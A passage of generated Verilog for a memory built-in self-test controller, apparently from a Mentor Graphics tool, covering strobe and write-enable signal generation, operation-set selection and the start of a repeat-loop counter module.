(DEFAULT_CLOCKEDASYNCWR_READ_WRITEENABLE & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_WRITEENABLE & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[5]));
assign DEFAULT_WRITEENABLE_SELECTED =
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_WRITEENABLE & DEFAULT_OPSET_SEL[5]);
//-------------------------------------------------------
// Generate Signal STROBEDATAOUT0
//-------------------------------------------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_SYNC_WRITE_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_SYNC_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT0 = 1'b0;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_SYNCWR_WRITE_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_SYNCWR_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_ASYNC_WRITE_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_ASYNC_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT0 =
(JCNT_FROM[4] & JCNT_TO[4]);
assign DEFAULT_ASYNCWR_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT0 = 1'b0;
assign DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
assign DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT0 =
(JCNT_FROM[1] & JCNT_TO[1]);
// OperationSet: CLOCKEDASYNCWR }}}
//---------------------------------------------------------------------------------
// Generate Merged Signal STROBEDATAOUT with selective enabling
//---------------------------------------------------------------------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT =
(DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_SYNC_WRITE_STROBEDATAOUT =
(DEFAULT_SYNC_WRITE_STROBEDATAOUT0);
assign DEFAULT_SYNC_READ_STROBEDATAOUT =
(DEFAULT_SYNC_READ_STROBEDATAOUT0);
assign DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT0);
assign DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT =
(DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT0);
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT =
(DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_SYNCWR_WRITE_STROBEDATAOUT =
(DEFAULT_SYNCWR_WRITE_STROBEDATAOUT0);
assign DEFAULT_SYNCWR_READ_STROBEDATAOUT =
(DEFAULT_SYNCWR_READ_STROBEDATAOUT0);
assign DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT0);
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT =
(DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_ASYNC_WRITE_STROBEDATAOUT =
(DEFAULT_ASYNC_WRITE_STROBEDATAOUT0);
assign DEFAULT_ASYNC_READ_STROBEDATAOUT =
(DEFAULT_ASYNC_READ_STROBEDATAOUT0);
assign DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT0);
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT =
(DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT =
(DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT0);
assign DEFAULT_ASYNCWR_READ_STROBEDATAOUT =
(DEFAULT_ASYNCWR_READ_STROBEDATAOUT0);
assign DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT0);
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT0);
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT0);
assign DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT =
(DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT0);
// OperationSet: CLOCKEDASYNCWR }}}
assign DEFAULT_STROBEDATAOUT = (~LAST_STATE_DONE & BIST_RUN) & (
(DEFAULT_SYNC_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNC_WRITEREAD_STROBEDATAOUT & OP_SELECT_DECODED_INT[4] & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNCWR_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_SYNCWR_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_ASYNC_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNC_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNCWR_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_ASYNCWR_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_CLOCKEDASYNC_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNCWR_NOOPERATION_STROBEDATAOUT & OP_SELECT_DECODED_INT[0] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_WRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[1] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READ_STROBEDATAOUT & OP_SELECT_DECODED_INT[2] & DEFAULT_OPSET_SEL[5]) |
(DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_STROBEDATAOUT & OP_SELECT_DECODED_INT[3] & DEFAULT_OPSET_SEL[5]));
assign DEFAULT_STROBEDATAOUT_SELECTED =
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_STROBEDATAOUT & DEFAULT_OPSET_SEL[5]);
//---------------
// Signal mapping
//---------------
assign BIST_SELECT =
(BIST_SELECT_BIT0_EN) & DEFAULT_SELECT_SELECTED ;
assign BIST_OUTPUTENABLE =
(BIST_OUTPUTENABLE_BIT0_EN) & DEFAULT_OUTPUTENABLE_SELECTED ;
assign BIST_WRITEENABLE =
(BIST_WRITEENABLE_BIT0_EN) & DEFAULT_WRITEENABLE_SELECTED ;
assign BIST_CMP = DEFAULT_STROBEDATAOUT_SELECTED ;
//-------------------
// Address decoding
//-------------------
assign BIST_SELECT_BIT0_EN =
1'b1;
assign BIST_OUTPUTENABLE_BIT0_EN =
1'b1;
assign BIST_WRITEENABLE_BIT0_EN =
1'b1;
//-----------------
// OPFAM#_OPSET_SEL
//-----------------
assign DEFAULT_OPSET_REG_BUS =
{OPSET_SELECT_REG[2],
OPSET_SELECT_REG[1],
OPSET_SELECT_REG[0] };
assign DEFAULT_OPSET_SEL[0] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b000); // OperationSet: SYNC
assign DEFAULT_OPSET_SEL[1] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b001); // OperationSet: SYNCWR
assign DEFAULT_OPSET_SEL[2] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b010); // OperationSet: ASYNC
assign DEFAULT_OPSET_SEL[3] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b011); // OperationSet: ASYNCWR
assign DEFAULT_OPSET_SEL[4] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b100); // OperationSet: CLOCKEDASYNC
assign DEFAULT_OPSET_SEL[5] = (BIST_RUN_BUF) & (DEFAULT_OPSET_REG_BUS == 3'b101); // OperationSet: CLOCKEDASYNCWR
//-------------------
// Generate LAST_TICK
//-------------------
// OperationSet: SYNC {{{
assign DEFAULT_SYNC_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[3]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[4]);
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
assign DEFAULT_SYNCWR_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[0] & JCNT_TO[0]) | ~OP_SELECT_DECODED_INT[3]);
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
assign DEFAULT_ASYNC_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[3]);
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
assign DEFAULT_ASYNCWR_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[3]);
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
assign DEFAULT_CLOCKEDASYNC_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[3]);
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
assign DEFAULT_CLOCKEDASYNCWR_LAST_TICK =
((JCNT_FROM[2] & JCNT_TO[2]) | ~OP_SELECT_DECODED_INT[0]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[1]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[2]) &
((JCNT_FROM[4] & JCNT_TO[4]) | ~OP_SELECT_DECODED_INT[3]);
// OperationSet: CLOCKEDASYNCWR }}}
assign DEFAULT_LAST_TICK =
(DEFAULT_SYNC_LAST_TICK & DEFAULT_OPSET_SEL[0]) |
(DEFAULT_SYNCWR_LAST_TICK & DEFAULT_OPSET_SEL[1]) |
(DEFAULT_ASYNC_LAST_TICK & DEFAULT_OPSET_SEL[2]) |
(DEFAULT_ASYNCWR_LAST_TICK & DEFAULT_OPSET_SEL[3]) |
(DEFAULT_CLOCKEDASYNC_LAST_TICK & DEFAULT_OPSET_SEL[4]) |
(DEFAULT_CLOCKEDASYNCWR_LAST_TICK & DEFAULT_OPSET_SEL[5]);
assign RESET_LAST_TICK_REG = ~SIGNAL_GEN_ENABLE;
//-----------------------
// LAST_TICK_D
//-----------------------
assign LAST_TICK_D = DEFAULT_LAST_TICK;
//-------------------------
// LAST_TICK_REG
//-------------------------
//synopsys sync_set_reset "RESET_LAST_TICK_REG"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
LAST_TICK_REG <= 1'b0;
else
if (RESET_LAST_TICK_REG) begin
LAST_TICK_REG <= 1'b0;
end else begin
if (~SIGNAL_GEN_HOLD) begin
LAST_TICK_REG <= ~LAST_OPERATION_DONE & ~LAST_TICK_REG & LAST_TICK_D ;
end
end
end
assign OPERATION_LAST_TICK_REG = LAST_TICK_REG;
assign OPSET_SELECT_REG_SI = SI;
//--------------------------
// OPERATION SELECT REGISTER
//--------------------------
assign OPSET_SELECT_WIRE = 3'b000; // OperationSet: SYNC
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
RESET_REG_DEFAULT_MODE_REG <= 1'b0;
else
RESET_REG_DEFAULT_MODE_REG <= RESET_REG_DEFAULT_MODE;
end
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
OPSET_SELECT_REG <= 3'b000;
else
if (RESET_REG_DEFAULT_MODE_REG & BIST_ALGO_SEL_CNT) begin
OPSET_SELECT_REG <= OPSET_SELECT_WIRE ;
end
else begin
if (BIST_SHIFT_SHORT) begin
OPSET_SELECT_REG <= {OPSET_SELECT_REG[1:0],OPSET_SELECT_REG_SI};
end
end
end
endmodule // SMARCHCHKB_LVISION_MBISTPG_SIGNAL_GEN
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_REPEAT_LOOP_CNTRL
Description : This module contains logic used to re-execute previously
specified instructions with modified address, write data,
and/or expect data.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_REPEAT_LOOP_CNTRL (
BIST_CLK ,
RESET_REG_SETUP1 ,
RESET_REG_DEFAULT_MODE ,
LOOP_CMD ,
BIST_ASYNC_RESETN ,
ADD_Y1_CMD ,
ADD_X1_CMD ,
WDATA_CMD ,
EDATA_CMD ,
INH_LAST_ADDR_CNT ,
INH_DATA_CMP ,
LOOP_STATE_TRUE ,
A_EQUALS_B_TRIGGER ,
A_EQUALS_B_INVERT_DATA ,
SI ,
BIST_HOLD ,
LAST_TICK ,
BIST_SHIFT_LONG ,
BIST_RUN ,
LOOPCOUNTMAX_TRIGGER ,
LOOP_POINTER ,
ADD_Y1_CMD_MODIFIED ,
ADD_X1_CMD_MODIFIED ,
SO ,
ESOE_RESET ,
WDATA_CMD_MODIFIED ,
EDATA_CMD_MODIFIED ,
INH_LAST_ADDR_CNT_MODIFIED ,
INH_DATA_CMP_MODIFIED
);
input BIST_CLK;
input RESET_REG_SETUP1;
input RESET_REG_DEFAULT_MODE;
input [1:0] LOOP_CMD;
input BIST_ASYNC_RESETN;
input [2:0] ADD_Y1_CMD;
input [2:0] ADD_X1_CMD;
input [3:0] WDATA_CMD;
input [3:0] EDATA_CMD;
input INH_LAST_ADDR_CNT;
input INH_DATA_CMP;
input LOOP_STATE_TRUE;
input [1:0] A_EQUALS_B_INVERT_DATA;
input A_EQUALS_B_TRIGGER;
input SI;
input BIST_HOLD;
input LAST_TICK;
input BIST_SHIFT_LONG;
input BIST_RUN;
input ESOE_RESET;
output LOOPCOUNTMAX_TRIGGER;
output [4:0] LOOP_POINTER;
output [2:0] ADD_Y1_CMD_MODIFIED;
output [2:0] ADD_X1_CMD_MODIFIED;
output [3:0] WDATA_CMD_MODIFIED;
output [3:0] EDATA_CMD_MODIFIED;
output INH_LAST_ADDR_CNT_MODIFIED;
output INH_DATA_CMP_MODIFIED;
output SO;
reg [1:0] LOOP_A_CNTR;
reg [1:0] LOOP_B_CNTR;
wire LOOP_A_CNTR_SI;
wire LOOP_A_CNTR_SO;
wire LOOP_B_CNTR_SI;
wire LOOP_B_CNTR_SO;
wire [1:0] CNTR_A_MAX_REG;
wire [4:0] CNTR_A_LOOP_POINTER_REG;
wire [4:0] CNTR_A_LOOP1_REG;
wire [4:0] CNTR_A_LOOP2_REG;
wire [4:0] CNTR_A_LOOP3_REG;
wire [1:0] CNTR_B_MAX_REG;
wire [4:0] CNTR_B_LOOP_POINTER_REG;
wire [4:0] CNTR_B_LOOP1_REG;
wire [4:0] CNTR_B_LOOP2_REG;
wire [4:0] CNTR_B_LOOP3_REG;
wire [1:0] CNTR_A_MAX_WIRE;
wire [4:0] CNTR_A_LOOP_POINTER_WIRE;
wire [4:0] CNTR_A_LOOP1_WIRE;
wire [4:0] CNTR_A_LOOP2_WIRE;
wire [4:0] CNTR_A_LOOP3_WIRE;
wire [1:0] CNTR_B_MAX_WIRE;
wire [4:0] CNTR_B_LOOP_POINTER_WIRE;
wire [4:0] CNTR_B_LOOP1_WIRE;
wire [4:0] CNTR_B_LOOP2_WIRE;
wire [4:0] CNTR_B_LOOP3_WIRE;
wire INC_CNTR_A;
wire INC_CNTR_B;
wire INC_CNTR_BA;
wire CNTR_A_MAX;
wire CNTR_B_MAX;
wire ENABLE_CNTR_A;
wire ENABLE_CNTR_B;
wire RESET_CNTR_A;
wire RESET_CNTR_B;
wire ADD_SEQUENCE_FLIP;
wire WDATA_SEQUENCE_FLIP;
wire EDATA_SEQUENCE_FLIP;
wire INH_DATA_CMP_NESTED_LOOP_FLIP;
wire INH_DATA_CMP_MODIFIED_INT;
wire [4:0] CNTR_A_LOOP_REG_SEL;
wire [4:0] CNTR_B_LOOP_REG_SEL;
assign SO = LOOP_B_CNTR_SO;
assign LOOPCOUNTMAX_TRIGGER = (INC_CNTR_BA & CNTR_A_MAX & CNTR_B_MAX) |
(INC_CNTR_A & CNTR_A_MAX) |
(INC_CNTR_B & CNTR_B_MAX) ;
assign LOOP_POINTER = (INC_CNTR_A | (INC_CNTR_BA & ~CNTR_A_MAX)) ? CNTR_A_LOOP_POINTER_REG :
CNTR_B_LOOP_POINTER_REG ;
assign INC_CNTR_A = (LOOP_CMD == 2'b01);
assign INC_CNTR_B = (LOOP_CMD == 2'b10);
assign INC_CNTR_BA = (LOOP_CMD == 2'b11);
assign RESET_CNTR_A = (ESOE_RESET | RESET_REG_SETUP1 | (LAST_TICK & LOOP_STATE_TRUE & CNTR_A_MAX & (INC_CNTR_A | INC_CNTR_BA)));
assign RESET_CNTR_B = (ESOE_RESET | RESET_REG_SETUP1 | (LAST_TICK & LOOP_STATE_TRUE & ((INC_CNTR_B & CNTR_B_MAX) | (CNTR_A_MAX & CNTR_B_MAX & INC_CNTR_BA))));
assign ENABLE_CNTR_A = (INC_CNTR_A | INC_CNTR_BA);
assign ENABLE_CNTR_B = ((INC_CNTR_BA & CNTR_A_MAX) | (INC_CNTR_B));
assign CNTR_A_MAX = (LOOP_A_CNTR == CNTR_A_MAX_REG);
assign CNTR_B_MAX = (LOOP_B_CNTR == CNTR_B_MAX_REG);
//---------------
// LOOP COUNTER A
//---------------
assign LOOP_A_CNTR_SI = SI;
//synopsys sync_set_reset "RESET_CNTR_A"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
LOOP_A_CNTR <= 2'b00;
else
if (BIST_SHIFT_LONG) begin
LOOP_A_CNTR <= {LOOP_A_CNTR[0:0],LOOP_A_CNTR_SI};
end else begin
if (RESET_CNTR_A) begin
LOOP_A_CNTR <= 2'b00;
end else begin
if (~BIST_HOLD & BIST_RUN & ENABLE_CNTR_A & LAST_TICK & LOOP_STATE_TRUE) begin
LOOP_A_CNTR <= INC_FUNCTION_FOR_CNTR_A(LOOP_A_CNTR);
end
end
end
end
assign LOOP_A_CNTR_SO = LOOP_A_CNTR[1];
//---------------
// LOOP COUNTER B
//---------------
assign LOOP_B_CNTR_SI = LOOP_A_CNTR_SO;
//synopsys sync_set_reset "RESET_CNTR_B"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
LOOP_B_CNTR <= 2'b00;
else
if (BIST_SHIFT_LONG) begin
LOOP_B_CNTR <= {LOOP_B_CNTR[0:0],LOOP_B_CNTR_SI};
end else begin
if (RESET_CNTR_B) begin
LOOP_B_CNTR <= 2'b00;
end else begin
if (~BIST_HOLD & BIST_RUN & ENABLE_CNTR_B & LAST_TICK & LOOP_STATE_TRUE) begin
LOOP_B_CNTR <= INC_FUNCTION_FOR_CNTR_B(LOOP_B_CNTR);
end
end
end
end
assign LOOP_B_CNTR_SO = LOOP_B_CNTR[1];
assign CNTR_A_LOOP_REG_SEL = (LOOP_A_CNTR == 2'b00) ? 5'b00000 :
(LOOP_A_CNTR == 2'b01) ? CNTR_A_LOOP1_REG :
(LOOP_A_CNTR == 2'b10) ? CNTR_A_LOOP2_REG :
CNTR_A_LOOP3_REG ;
assign CNTR_B_LOOP_REG_SEL = (LOOP_B_CNTR == 2'b00) ? 5'b00000 :
(LOOP_B_CNTR == 2'b01) ? CNTR_B_LOOP1_REG :
(LOOP_B_CNTR == 2'b10) ? CNTR_B_LOOP2_REG :
CNTR_B_LOOP3_REG ;
assign EDATA_SEQUENCE_FLIP = CNTR_A_LOOP_REG_SEL[4] ^ CNTR_B_LOOP_REG_SEL[4] ^ (A_EQUALS_B_INVERT_DATA[1] & A_EQUALS_B_TRIGGER);
assign WDATA_SEQUENCE_FLIP = CNTR_A_LOOP_REG_SEL[3] ^ CNTR_B_LOOP_REG_SEL[3] ^ (A_EQUALS_B_INVERT_DATA[0] & A_EQUALS_B_TRIGGER);
assign ADD_SEQUENCE_FLIP = CNTR_A_LOOP_REG_SEL[2] ^ CNTR_B_LOOP_REG_SEL[2];
assign INH_DATA_CMP_NESTED_LOOP_FLIP = CNTR_A_LOOP_REG_SEL[0] ^ CNTR_B_LOOP_REG_SEL[0];
assign ADD_Y1_CMD_MODIFIED = {ADD_Y1_CMD[2:1] , ADD_Y1_CMD[0] ^ ADD_SEQUENCE_FLIP};
assign ADD_X1_CMD_MODIFIED = {ADD_X1_CMD[2:1] , ADD_X1_CMD[0] ^ ADD_SEQUENCE_FLIP};
assign WDATA_CMD_MODIFIED = {WDATA_CMD[3:1] , WDATA_CMD[0] ^ WDATA_SEQUENCE_FLIP};
assign EDATA_CMD_MODIFIED = {EDATA_CMD[3:1] , EDATA_CMD[0] ^ EDATA_SEQUENCE_FLIP};
assign INH_LAST_ADDR_CNT_MODIFIED = (LOOP_STATE_TRUE & ENABLE_CNTR_B & (LOOP_B_CNTR != 2'b00)) ? CNTR_B_LOOP_REG_SEL[1] :
(LOOP_STATE_TRUE & ENABLE_CNTR_A & (LOOP_A_CNTR != 2'b00)) ? CNTR_A_LOOP_REG_SEL[1] :
INH_LAST_ADDR_CNT ;
assign INH_DATA_CMP_MODIFIED_INT = ((LOOP_B_CNTR != 2'b00) | (LOOP_A_CNTR != 2'b00)) ? INH_DATA_CMP_NESTED_LOOP_FLIP :
INH_DATA_CMP ;
assign INH_DATA_CMP_MODIFIED = INH_DATA_CMP_MODIFIED_INT;
//-------------------------
// LOOP COUNTER A REGISTERS
//-------------------------
assign CNTR_A_MAX_WIRE = 2'b01;
assign CNTR_A_LOOP_POINTER_WIRE = 5'b01101;
assign CNTR_A_LOOP1_WIRE[4] = 1'b1;
